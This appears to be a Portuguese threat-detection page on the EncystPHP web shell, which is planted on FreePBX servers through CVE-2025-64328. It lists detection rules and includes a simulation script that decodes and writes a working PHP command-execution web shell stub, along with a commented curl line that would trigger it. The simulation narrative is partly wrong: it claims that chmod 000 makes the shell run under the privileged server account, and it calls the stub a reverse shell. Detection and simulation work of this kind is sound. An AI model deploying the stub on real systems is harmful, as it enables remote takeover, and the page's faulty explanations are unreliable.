EncystPHP: Web Shell FreePBX Armado para Comprometimento Persistente de Admin
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O FortiGuard Labs reporta um web shell PHP chamado EncystPHP implantado em instâncias expostas do FreePBX explorando CVE-2025-64328. O implante permite a execução remota de comandos, provisiona usuários privilegiados e configura persistência em camadas através de tarefas cron e de droppers subsequentes. A atividade está ligada ao grupo INJ3CTOR3 e aparenta visar ambientes de telecomunicações. Indicadores publicados incluem IPs maliciosos, domínios, URLs e múltiplos caminhos de arquivos hostis.
Investigação
Investigadores rastrearam o acesso inicial para uma falha de injeção de comando pós-autenticação no FreePBX Endpoint Manager. Após exploração bem-sucedida, o operador puxa um dropper de 45.234.176.202, relaxa permissões em componentes principais do PHP, extrai credenciais de banco de dados, cria uma conta de nível root e adiciona uma chave SSH controlada pelo atacante. A persistência é reforçada com entradas cron que repetidamente buscam droppers adicionais e refrescam artefatos. O EncystPHP também imita arquivos legítimos do FreePBX e manipula timestamps para reduzir a visibilidade durante a triagem rotineira.
Mitigação
Aplique o patch no FreePBX Endpoint Manager para corrigir CVE-2025-64328 (e quaisquer correções relacionadas) o mais rápido possível. Procure por arquivos web shell não autorizados, cronogramas cron suspeitos e novos usuários locais privilegiados criados. Bloqueie o HTTP de saída para infraestrutura maliciosa conhecida e aplique permissões estritas de menor privilégio em diretórios voltados para a web e ativos PHP.
Resposta
Ao detectar, isole o servidor PBX afetado, remova os artefatos do EncystPHP, elimine cron jobs não autorizados e redefina contas locais e chaves SSH. Revise os logs e backups de configuração para avaliar mudanças, então aplique as atualizações de segurança atuais e reforce a interface web. Valide que nenhum dropper secundário ou mecanismos de persistência permanecem antes de restaurar as operações normais de telefonia.
Fluxo de Ataque
Detecções
Possível Nova Conta para Persistência [Linux] (via linha de comando)
Exibir
Arquivo Cron Foi Criado (via evento de arquivo)
Exibir
Downloads para Pastas Suspeitas (via linha de comando)
Exibir
Possível Tentativa de Descoberta de Hosts Conhecidos SSH [MacOS] (via linha de comando)
Exibir
Possível Manipulação de Strings Codificadas em Base64 (via linha de comando)
Exibir
IOCs (DestinationIP) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo
Exibir
IOCs (HashSha256) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo
Exibir
IOCs (SourceIP) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo
Exibir
Detectar Entradas Crontab para Download Persistente de k.php e c Dropper [Criação de Processo Linux]
Exibir
Implantação do Web Shell EncystPHP e Persistência via CVE-2025-64328 [Criação de Processo Linux]
Exibir
Detecção de Atividade do Web Shell EncystPHP no FreePBX [Evento de Arquivo Linux]
Exibir
Execução de Simulação
Pré-requisito: A Checagem Pré-voo de Telemetria & de Linha de Base deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque & Comandos:
- Carregar o web shell EncystPHP – O atacante fabrica um payload PHP codificado em Base64 e o entrega via um POST HTTP para a UI web do FreePBX, fazendo com que o arquivo
ajax.phpseja escrito em/var/www/html/admin/views/ajax.php. - Definir permissões restritivas – Imediatamente após a implantação, o atacante executa
chmod 000 ajax.phppara esconder o shell de usuários normais e forçar a execução sob a conta privilegiada do servidor web (T1222.002). - Excluir configuração crítica – Para prejudicar a detecção e forçar o sistema a recarregar com o shell malicioso, o atacante remove
/etc/freepbx.conf(T1070.004, T1562.001). - Acionar o shell – Um simples GET HTTP para o recém-criado
ajax.phpexecuta o payload, estabelecendo um shell reverso (T1105, T1059.004).
- Carregar o web shell EncystPHP – O atacante fabrica um payload PHP codificado em Base64 e o entrega via um POST HTTP para a UI web do FreePBX, fazendo com que o arquivo
-
Script de Teste de Regressão: O script reproduz os passos 1‑3 em um diretório de teste controlado (
/tmp/freepbx_test) para evitar afetar um sistema de produção.# encystphp_simulation.sh set -euo pipefail # ----- Setup test directories (mirroring FreePBX layout) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Create dummy config file (will be deleted) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Base64‑encoded EncystPHP payload (very small stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Step 1: Deploy web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell deployed at ${WEB_ROOT}/ajax.php" # ----- Step 2: Restrictive permission (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permissions set to 000" # ----- Step 3: Delete critical config file ----- sudo rm -f "${CONFIG_FILE}" echo "Deleted ${CONFIG_FILE}" # ----- Optional: trigger the shell (simulated) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulation complete. Check SIEM for alerts." -
Comandos de Limpeza:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Ambiente de teste limpo."